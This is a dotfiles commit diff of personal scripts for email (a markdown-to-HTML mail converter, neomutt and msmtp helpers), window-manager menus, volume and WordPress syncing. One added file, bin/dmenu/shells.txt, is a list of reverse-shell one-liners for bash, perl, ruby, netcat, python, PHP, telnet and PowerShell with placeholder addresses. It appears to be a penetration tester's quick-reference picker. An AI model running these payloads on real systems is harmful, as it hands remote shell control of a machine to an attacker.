Mostly mutt config and some tidying

bin/conversion/convert-to-pdf

@@ -9,5 +9,3 @@ cd "$dir" || exit
 case "$file" in
 	*\.doc|*\.docx) libreoffice --convert-to pdf "$file" ;;
 	*) echo "Don't know how to convert $file"
-
-libreoffice --convert-to pdf Checkit\ website\ development\ brief.docx

bin/convertbits

@@ -1,11 +0,0 @@
-#!/usr/bin/env node
-
-import convertBytesToHumanReadable from 'human-readable-bytes';
-
-
-
-process.args.forEach( (val, index) => {
-	if( index == process.args.length - 1 ){
-		console.log( val );
-	}
-});

bin/dmenu/rofi-shutdown

@@ -8,21 +8,21 @@ sleep .2
 
 case $selection in
 	Lock)
-		~/.config/i3/i3exit lock
+		i3exit lock
 		;;
 	Logout)
-		~/.config/i3/i3exit logout
+		i3exit logout
 		;;
 	Suspend)
-		~/.config/i3/i3exit suspend
+		i3exit suspend
 		;;
 	Hibernate)
-		~/.config/i3/i3exit hibernate
+		i3exit hibernate
 		;;
 	Reboot)
-		~/.config/i3/i3exit reboot
+		i3exit reboot
 		;;
 	Shutdown)
-		~/.config/i3/i3exit shutdown
+		i3exit shutdown
 		;;
 esac

bin/dmenu/shells.txt

@@ -0,0 +1,14 @@
+BASH REVERSE SHELL|bash -i >& /dev/tcp/[IPADDR]/[PORT] 0>&1
+BASH REVERSE SHELL|0<&196;exec 196<>/dev/tcp/[IPADDR]/[PORT]; sh <&196 >&196 2>&196
+PERL REVERSE SHELL|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
+PERL REVERSE SHELL WINDOWS|perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
+RUBY REVERSE SHELL|ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
+RUBY REVERSE SHELL|ruby -rsocket -e'f=TCPSocket.open("[IPADDR]",[PORT]).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
+RUBY REVERSE SHELL WINDOWS|ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
+NETCAT REVERSE SHELL|nc -c /bin/sh [IPADDR] [PORT]
+NETCAT REVERSE SHELL|/bin/sh | nc [IPADDR] [PORT]
+NETCAT REVERSE SHELL|rm -f /tmp/p; mknod /tmp/p p && nc [IPADDR] [PORT] 0/tmp/p
+PYTHON REVERSE SHELL|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[IPADDR]",[PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
+PHP REVERSE SHELL|php -r '$sock=fsockopen("[IPADDR]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");'
+TELNET REVERSE SHELL|rm -f /tmp/p; mknod /tmp/p p && telnet [IPADDR] [PORT] 0/tmp/p
+POWERSHELL REVERSE SHELL|powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

bin/emails/MIMEmbellish

@@ -0,0 +1,239 @@
+#!/usr/bin/env python3
+# Original Source: https://github.com/oblitum/dotfiles/blob/ArchLinux/.local/bin/MIMEmbellish
+
+import re
+import sys
+import email
+import shlex
+import mimetypes
+import subprocess
+from copy import copy
+from hashlib import md5
+from email import charset
+from email import encoders
+from email.mime.text import MIMEText
+from email.mime.multipart import MIMEMultipart
+from email.mime.nonmultipart import MIMENonMultipart
+from os.path import basename, splitext, expanduser
+
+
+charset.add_charset('utf-8', charset.SHORTEST, '8bit')
+
+
+def pandoc(from_format, to_format='markdown', plain='markdown', title=None):
+    markdown = ('markdown'
+                '-blank_before_blockquote')
+
+    if from_format == 'plain':
+        from_format = plain
+    if from_format == 'markdown':
+        from_format = markdown
+    if to_format == 'markdown':
+        to_format = markdown
+
+    command = 'pandoc -f {} -t {} --standalone --highlight-style=tango'
+    if to_format in ('html', 'html5'):
+        if title is not None:
+            command += ' --variable=pagetitle:{}'.format(shlex.quote(title))
+        command += ' --webtex --template={}'.format(
+                expanduser('~/.pandoc/templates/email.html'))
+    return command.format(from_format, to_format)
+
+
+def gmailfy(payload):
+    return payload.replace('<blockquote>',
+                           '<blockquote class="gmail_quote" style="'
+                           'padding: 0 7px 0 7px;'
+                           'border-left: 2px solid #cccccc;'
+                           'font-style: italic;'
+                           'margin: 0 0 7px 3px;'
+                           '">')
+
+
+def make_alternative(message, part):
+    alternative = convert(part, 'html',
+                          pandoc(part.get_content_subtype(),
+                                 to_format='html',
+                                 title=message.get('Subject')))
+    alternative.set_payload(gmailfy(alternative.get_payload()))
+    return alternative
+
+
+def make_replacement(message, part):
+    return convert(part, 'plain', pandoc(part.get_content_subtype()))
+
+
+def convert(part, to_subtype, command):
+    payload = part.get_payload()
+    if isinstance(payload, str):
+        payload = payload.encode('utf-8')
+    else:
+        payload = part.get_payload(None, True)
+        if not isinstance(payload, bytes):
+            payload = payload.encode('utf-8')
+    process = subprocess.run(
+        shlex.split(command),
+        input=payload, stdout=subprocess.PIPE, check=True)
+    return MIMEText(process.stdout, to_subtype, 'utf-8')
+
+
+def with_alternative(parent, part, from_signed,
+                     make_alternative=make_alternative,
+                     make_replacement=None):
+    try:
+        alternative = make_alternative(parent or part, from_signed or part)
+        replacement = (make_replacement(parent or part, part)
+                       if from_signed is None and make_replacement is not None
+                       else part)
+    except:
+        return parent or part
+    envelope = MIMEMultipart('alternative')
+    if parent is None:
+        for k, v in part.items():
+            if (k.lower() != 'mime-version'
+                    and not k.lower().startswith('content-')):
+                envelope.add_header(k, v)
+                del part[k]
+    envelope.attach(replacement)
+    envelope.attach(alternative)
+    if parent is None:
+        return envelope
+    payload = parent.get_payload()
+    payload[payload.index(part)] = envelope
+    return parent
+
+
+def tag_attachments(message):
+    if message.get_content_type() == 'multipart/mixed':
+        for part in message.get_payload():
+            if (part.get_content_maintype() in ['image']
+                    and 'Content-ID' not in part):
+                filename = part.get_param('filename',
+                                          header='Content-Disposition')
+                if isinstance(filename, tuple):
+                    filename = str(filename[2], filename[0] or 'us-ascii')
+                if filename:
+                    filename = splitext(basename(filename))[0]
+                    if filename:
+                        part.add_header('Content-ID', '<{}>'.format(filename))
+    return message
+
+
+def attachment_from_file_path(attachment_path):
+    try:
+        mime, encoding = mimetypes.guess_type(attachment_path, strict=False)
+        maintype, subtype = mime.split('/')
+        with open(attachment_path, 'rb') as payload:
+            attachment = MIMENonMultipart(maintype, subtype)
+            attachment.set_payload(payload.read())
+            encoders.encode_base64(attachment)
+            if encoding:
+                attachment.add_header('Content-Encoding', encoding)
+            return attachment
+    except:
+        return None
+
+
+attachment_path_pattern = re.compile(r'\]\s*\(\s*file://(/[^)]*\S)\s*\)|'
+                                     r'\]\s*:\s*file://(/.*\S)\s*$',
+                                     re.MULTILINE)
+
+
+def link_attachments(payload):
+    attached = []
+    attachments = []
+
+    def on_match(match):
+        if match.group(1):
+            attachment_path = match.group(1)
+            cid_fmt = '](cid:{})'
+        else:
+            attachment_path = match.group(2)
+            cid_fmt = ']: cid:{}'
+        attachment_id = md5(attachment_path.encode()).hexdigest()
+        if attachment_id in attached:
+            return cid_fmt.format(attachment_id)
+        attachment = attachment_from_file_path(attachment_path)
+        if attachment:
+            attachment.add_header('Content-ID', '<{}>'.format(attachment_id))
+            attachments.append(attachment)
+            attached.append(attachment_id)
+            return cid_fmt.format(attachment_id)
+        return match.group()
+
+    return attachments, attachment_path_pattern.sub(on_match, payload)
+
+
+def with_local_attachments(parent, part, from_signed,
+                           link_attachments=link_attachments):
+    if from_signed is None:
+        attachments, payload = link_attachments(part.get_payload())
+        part.set_payload(payload)
+    else:
+        attachments, payload = link_attachments(from_signed.get_payload())
+        from_signed = copy(from_signed)
+        from_signed.set_payload(payload)
+    if not attachments:
+        return parent, part, from_signed
+    if parent is None:
+        parent = MIMEMultipart('mixed')
+        for k, v in part.items():
+            if (k.lower() != 'mime-version'
+                    and not k.lower().startswith('content-')):
+                parent.add_header(k, v)
+                del part[k]
+        parent.attach(part)
+    for attachment in attachments:
+        parent.attach(attachment)
+    return parent, part, from_signed
+
+
+def is_target(part, target_subtypes):
+    return (part.get('Content-Disposition', 'inline') == 'inline'
+            and part.get_content_maintype() == 'text'
+            and part.get_content_subtype() in target_subtypes)
+
+
+def pick_from_signed(part, target_subtypes):
+    for from_signed in part.get_payload():
+        if is_target(from_signed, target_subtypes):
+            return from_signed
+
+
+def seek_target(message, target_subtypes=['plain', 'markdown']):
+    if message.is_multipart():
+        if message.get_content_type() == 'multipart/signed':
+            part = pick_from_signed(message, target_subtypes)
+            if part is not None:
+                return None, message, part
+        elif message.get_content_type() == 'multipart/mixed':
+            for part in message.get_payload():
+                if part.is_multipart():
+                    if part.get_content_type() == 'multipart/signed':
+                        from_signed = pick_from_signed(part, target_subtypes)
+                        if from_signed is not None:
+                            return message, part, from_signed
+                elif is_target(part, target_subtypes):
+                    return message, part, None
+    else:
+        if is_target(message, target_subtypes):
+            return None, message, None
+    return None, None, None
+
+
+def main():
+    try:
+        message = email.message_from_file(sys.stdin)
+        parent, part, from_signed = seek_target(message)
+        if (parent, part, from_signed) == (None, None, None):
+            print(message)
+            return
+        tag_attachments(message)
+        print(with_alternative(
+             *with_local_attachments(parent, part, from_signed)))
+    except (BrokenPipeError, KeyboardInterrupt):
+        pass
+
+
+if __name__ == '__main__':
+    main()

bin/emails/mutt

@@ -0,0 +1,9 @@
+#!/usr/bin/env sh
+
+#Start proton mail bridge if not running
+if [ ! $(pgrep -f protonmail-br) ]; then
+	setsid protonmail-bridge --no-window &
+	sleep 5
+fi
+
+neomutt

bin/emails/send-from-mutt

@@ -0,0 +1,4 @@
+#!/bin/sh
+
+EMAIL=$(pass Email/protonmail | grep BridgeUsername | cut -d':' -f2)
+~/.bin/emails/MIMEmbellish | msmtp --user "$EMAIL" "$@"

bin/volume

@@ -0,0 +1,14 @@
+#!/usr/bin/env sh
+
+# A simple script to adjust the volume
+# Requires pulse and amixer
+
+case "$1" in
+	"up")
+		amixer -q -D default sset Master 5%+ unmute
+		;;
+	"down")
+		amixer -q -D default sset Master 5%- unmute
+esac
+
+command -v notify-send && notify-send "Volume" "$(amixer -D default sget Master | grep -o '\[.*\%' | tr -d '[')"

bin/whoami

@@ -1,3 +0,0 @@
-#!/usr/bin/env bash
-
-/usr/bin/whoami > /tmp/testing

bin/wordpress/get-site-database

@@ -63,3 +63,6 @@ wp search-replace --all-tables --url="${localDomains[0]}" "$sshFolderPath" "$pub
 
 # Removes the db.dump that we created
 rm "$public_html"/db.dump
+
+#Makes sure everything in the uploads folder on the server is also on the local
+rsync -ruh --progress "${sshKey}:${sshFolder}/wp-content/uploads/" "${public_html}/wp-content/uploads